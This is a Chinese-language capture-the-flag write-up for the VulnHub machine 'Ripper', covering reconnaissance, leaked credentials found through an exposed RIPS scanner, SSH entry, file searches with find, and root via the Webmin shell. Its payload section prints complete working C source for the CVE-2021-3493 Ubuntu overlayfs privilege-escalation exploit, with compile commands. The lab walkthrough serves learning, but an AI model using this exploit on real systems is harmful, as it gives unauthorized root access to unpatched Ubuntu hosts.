Vulnhub打靶记录:ripper
相关信息
kali:10.0.0.9/24
靶机:10.0.0.21/24
靶机介绍:Ripper: 1 ~ VulnHub
靶机下载:https://download.vulnhub.com/ripper/Ripper.ova
目标:2
个 flag
+ root
权限
难度:低中难度
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
文字思路
全流程思路:
- 主机发现
- 端口扫描:重点关注
1000
这个端口上的webmin
应用 - 信息搜集
- 内部系统泄露:就是一个内部代码审计的代码
web
应用泄露,使外界用户可以直接通过url
访问 - 代码审计
- 备份文件泄露:直接获得一个用户密码,就可以登陆到靶机,然后在靶机中获取了
webmin
的登陆密码 - 方法一:
webmin
漏洞利用,直接使用shell
- 方法二:
CVE-2021-3493
:这个漏洞是可以直接使用完成提权的,不需要其他的任何操作
下意识的操作
- 利用
find
命令查找特殊文件的时候,记得使用不同的用户重复执行,从而扩大搜索范围。 - 目录爬取是需要对不同端口进行爬取的
主要的知识点
- 如何利用
find
命令查找特殊文件,这是一个常规的但是很重要的思路 webmin
这个web
应用是可以自接管理shell
的
具体流程
信息搜集
-
扫描主机发现端口,发现
22
的ssh
是打开的,同时80
端口也是打开web
端口,10000
打开的是Webmin
网页应用端口。 -
访问靶机开放
80
端口,也不存在robots.txt
,网页源代码等也是没有收获的。 -
访问靶机的
10000
端口可以发现提示该端口开放的是https
协议,意味着需要利用https
协议访问该端口。 -
不难发现在利用
https
登陆后,是一个webmin
的相关登陆后台,进行弱密码尝试登陆也是无法成功的。 -
通过对不同端口的的目录爬取,可以发现在
10000
端口是存在roboots.txt
文件的。访问后不难发现一个base64
的密文。解密后是:
we scan php codes with rips
(我们使用rips
来扫描php
代码)。RIPS - free PHP security scanner using static code analysis (sourceforge.net)
为
rips
官网的网站,可以了解:就是一个静态审计php
代码的应用。 -
透过官网的提示可以发现
rips
这个应用是有一个rips
的url
路径:通过访问靶机的
rips
后,尝试利用rips
代码审计的功能。可以发现靶机网址是存在以下的代码漏洞和敏感文件:-
文件泄露:
code.php
是具有一个file
的参数变量。通过url
加入file
变量,访问code.php
可以进行文件的包含,但是仅仅为一个文件包含漏洞无法进行代码执行。 -
敏感文件:
secret.php
,可以发现其中有个非常非常敏感的用户信息:ripper:Gamespeopleoplay
。
-
突破边界
-
通过信息搜集到的
ripper:Gamespeopleoplay
,先尝试进行10000
端口的后台登陆网页,但不成功。然后发现ssh:22
端口就可以成功突破边界,进入靶机。
信息搜集
-
确认靶机自身的发行和内核版本,尝试找到已知的大型漏洞,很明显是符合
CVE-2021-3493
这个ubuntu
高危漏洞的 。
提权方法1
-
直接通过
nc
的方式上载CVE-2021-3493
的exp
到靶机上,然后对exp
进行编译,执行。但是会报错,需要按一下方式执行:wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb # 下载靶机上可以用的链接库 dpkg -x libc6_2.19-0ubuntu6_amd64.deb # 解压 gcc exp.c -o exp ./lib/x86_64-linux-gun/libc.so.6 # 编译exp
-
赋予编译后的
exp
执行权限,执行后就可以成功完成提权,查看flag
,完成打靶。
提权方法2
-
查看主目录中的用户有:
cubes,ripper
,同时不难发现ripper
用户是不具备sudo
权限的。然后利用find
命令查找与cubes
用户有关的敏感文件,结果发现一个secret.file
。find / -user cubes -type f -exec ls -la {} \; 2>/dev/null # {}是一个占位符,它将被实际找到的文件名替代。 # \;表示执行完ls命令后结束-exec选项
在该文件中是有一个密码:
Il00tpeople
,通过这个密码可以直接有ripper
用户切换为cubes
用户。 -
通过
cubes
再次使用find
命令进行查找,不难发现一个webmin
的日志文件,在该文件中是webmin
用户登陆会话的记录。find / -user cubes -type f -exec ls -la {} \; 2>/dev/null | grep -v "proc" | grep -v ".png" | grep -v "cgroup" # 后续的grep命令是过滤无效的文件
明文中直接记载了一个用户:
admin:tokiohotel
。 -
直接尝试利用获取的代码进行登陆,进入到后台
-
在后台的页面中
others
功能模块中是具有shell
功能,而且该shell
的身份直接是root
身份,既完成打靶了。
相关payload
CVE-2021-3493
-
CVE-2021-3493
漏洞脚本。直接在靶机上执行就可以拿下root
的shell
返回食用方法:编译成功后直接使用即可
- 影响版本:Ubuntu 20.10,Ubuntu 20.04 LTS,Ubuntu 18.04 LTS, Ubuntu 16.04 LTS,Ubuntu 14.04 ESM (Linux内核版本 < 5.11)
gcc exploit.c -o exploit
./exploit
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <err.h> #include <errno.h> #include <sched.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/mount.h> int setxattr(const char *path, const char *name, const void *value, size_t size, int flags); #define DIR_BASE "./ovlcap" #define DIR_WORK DIR_BASE "/work" #define DIR_LOWER DIR_BASE "/lower" #define DIR_UPPER DIR_BASE "/upper" #define DIR_MERGE DIR_BASE "/merge" #define BIN_MERGE DIR_MERGE "/magic" #define BIN_UPPER DIR_UPPER "/magic" static void xmkdir(const char *path, mode_t mode){ if (mkdir(path, mode) == -1 && errno != EEXIST)err(1, "mkdir %s", path);} static void xwritefile(const char *path, const char *data){ int fd = open(path, O_WRONLY);if (fd == -1)err(1, "open %s", path);ssize_t len = (ssize_t) strlen(data); if (write(fd, data, len) != len)err(1, "write %s", path);close(fd);} static void xcopyfile(const char *src, const char *dst, mode_t mode){ int fi, fo;if ((fi = open(src, O_RDONLY)) == -1)err(1, "open %s", src); if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)err(1, "open %s", dst); char buf[4096];ssize_t rd, wr; for (;;) {rd = read(fi, buf, sizeof(buf)); if (rd == 0) {break;} else if (rd == -1) {if (errno == EINTR)continue;err(1, "read %s", src);} char *p = buf;while (rd > 0) {wr = write(fo, p, rd);if (wr == -1) {if (errno == EINTR)continue; err(1, "write %s", dst);}p += wr;rd -= wr;}}close(fi);close(fo);} static int exploit(){ char buf[4096];sprintf(buf, "rm -rf '%s/'", DIR_BASE);system(buf); xmkdir(DIR_BASE, 0777);xmkdir(DIR_WORK, 0777);xmkdir(DIR_LOWER, 0777); xmkdir(DIR_UPPER, 0777);xmkdir(DIR_MERGE, 0777);uid_t uid = getuid();gid_t gid = getgid(); if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)err(1, "unshare"); xwritefile("/proc/self/setgroups", "deny");sprintf(buf, "0 %d 1", uid); xwritefile("/proc/self/uid_map", buf);sprintf(buf, "0 %d 1", gid);xwritefile("/proc/self/gid_map", buf); sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK); if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)err(1, "mount %s", DIR_MERGE); char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00"; xcopyfile("/proc/self/exe", BIN_MERGE, 0777); if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1) err(1, "setxattr %s", BIN_MERGE);return 0;} int main(int argc, char *argv[]){ if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {setuid(0); setgid(0);execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL); err(1, "execl /bin/bash");} pid_t child = fork();if (child == -1)err(1, "fork"); if (child == 0) {_exit(exploit());} else {waitpid(child, NULL, 0); }execl(BIN_UPPER, BIN_UPPER, "shell", NULL);err(1, "execl %s", BIN_UPPER);}
复盘/相关知识
复盘
- 其实这个靶机的难度并不是特别的,尤其是直接使用
CVE-2021-3493
这个漏洞就可以完成打靶,但是这个并不是这个靶机的常规思路。 - 这个靶机中的用户,密码都是写在对应的文件中的,这个就非常考验我们查找文件和信息的能力。
重要
什么是Webmin
-
what?
Webmin是一个用于管理Linux和Unix系统的开源Web应用程序。它提供了一个Web界面,允许系统管理员通过浏览器进行系统管理和配置,而无需深入了解命令行操作。Webmin的主要目标是简化系统管理任务,使其更加可访问和用户友好。